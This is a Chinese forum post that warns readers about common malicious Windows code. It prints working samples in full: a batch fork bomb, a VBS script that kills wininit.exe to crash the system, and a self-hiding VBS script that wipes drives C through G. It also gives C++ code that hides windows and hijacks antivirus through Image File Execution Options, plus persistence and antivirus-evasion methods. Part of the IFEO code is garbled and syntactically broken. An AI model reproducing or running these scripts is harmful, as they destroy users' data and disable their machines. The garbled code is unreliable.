恶意代码要注意

这里有几个常用的恶意程序,如果有人发这些代码,请不要轻信。

1.关机

关键代码:shutdown -s (后加其他内容,如-f -t 0之类的。)

2.蓝屏

针对不好机子的BAT代码:%0|%0或%0||(%0|%0)||%0之类的。

通用的VBS代码:


On Error Resume Next
sub killtsk(ProcessName)
On Error Resume Next
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
if Ucase(ps.name)=Ucase(ProcessName) then
ps.terminate
end if
next
end sub
set ws=Wscript.createobject("wscript.shell")
ws.run "taskmgr.exe",0
killtsk("wininit.exe")

3.注册表操作/文件夹操作实现开机自启动

winXP:警惕涉及C:\Documents and Settings<用户名字>\「开始」菜单\程序\启动 文件夹操作的程序。

win7:警惕涉及C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup文件夹操作的程序。 警惕凡出现HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run及类似含“Run”注册表路径的程序。

4.隐藏桌面、任务栏、运行窗口

关键C++代码:

inline void hide(){
HWND hwnd=GetForegroundWindow(),
hTaskBar=FindWindow(“Shell_TrayWnd”,NULL),
hDeskIcon=FindWindow(“Progman”,NULL),
hwndDesk=GetDesktopWindow();
ShowWindow(hwnd,false);
ShowWindow(hTaskBar,SW_SHOW);
ShowWindow(hDeskIcon,SW_SHOW);
}

5.删除或感染

此类操作一般为修改文件。

这是一个大量删除文件并自我复制,弹出无限错误窗口卡死机的VBS脚本:

On Error Resume Next
Sub fdel(sPath)
Set oFso = CreateObject(“Scripting.FileSystemObject”)
Set oFolder = oFso.GetFolder(sPath)
Set oSubFolders = oFolder.SubFolders
Set oFiles = oFolder.Files
For Each oFile In oFiles
oFile.Delete
Next
For Each oSubFolder In oSubFolders
oSubFolder.Delete
Next
Set oFolder = Nothing
Set oSubFolders = Nothing
Set oFso = Nothing
End Sub
set ws=Wscript.createobject(“wscript.shell”)
set fso=wscript.createobject(“scripting.filesystemobject”)
set file=fso.getfile(wscript.scriptfullname)
path=file.path
file.attributes=1+2+4
ws.run path,0
msgbox “错误代码:0x10a2d5”,16,“系统警告”
fdel(“G:”)
fdel(“F:”)
fdel(“E:”)
fdel(“D:”)
fdel(“C:”)

6.添加任务计划以实现定时启动

关键BAT代码:

at 时间 /every:日期 一些BAT代码

7.逃杀

试图生成文本文件写入代码并在运行时才以参数传入以避免杀毒软件查杀,或者加密成乱码也有一定的逃杀效果。遇到此类文件,必须检查文本文件的内容。有时编写者可能同时使用两种方法,使得文本文件为乱码。遇到这一类的程序,请勿随便运行。

8.修改文件关联

关键BAT代码:assoc.后缀名=指定的文件关联

这可能会破坏文件,或者增加恶意程序被打开的几率(即将其他文件的关联指向自身)。

9.映像劫持

此类恶意程序风险极高,可以认为是强行修改文件关联,样例C++代码:

#include <windows.h>
int main(int argc, char* argv[]){
char temp[256];
DWORD ret;
LPCTSTR szRegKey=“SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options”;
HKEY h_KEY;
if(argc!=1)
{
memset(temp,0,256);
strcpy(temp,argv[1]);
for(int i=0;i<strlen(temp);i++)
if(temp[i]<mark>’\’)
temp[i]=’/’;
ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey,0,KEY_ALL_ACCESS,&h_KEY);
if(ret</mark>ERROR_SUCCESS)
{
if(ERROR_SUCCESS==RegDeleteKey(h_KEY,“rav.exe”))
RegCloseKey(h_KEY),
WinExec(temp,SW_SHOW);
else
RegCloseKey(h_KEY);
}
else printf(“open failed!\n”);
}
memset(temp,0,256);
GetModuleFileName(NULL,temp,256);
HKEY hResultKey = NULL;
if (ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey, 0, KEY_ALL_ACCESS,&h_KEY))
{
DWORD dw;
ret = RegCreateKeyEx(h_KEY,“rav.exe”, 0, REG_NONE,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL,&hResultKey, &dw);
if (ret!=ERROR_SUCCESS)
RegCloseKey(h_KEY),
return 1;
ret=RegSetValueEx(hResultKey,“debugger”,0,REG_SZ,(const BYTE *)temp,strlen(temp)+1);
if(ret!=ERROR_SUCCESS)
RegCloseKey(h_KEY),
RegCloseKey(hResultKey),
return 1;
RegCloseKey(h_KEY);
RegCloseKey(hResultKey);
}
return 0;
}

我能想到的暂时就这么多了,也许对大家有所帮助。

全部评论

相关推荐

点赞 评论 收藏
分享
评论
点赞
收藏
分享
牛客网
牛客企业服务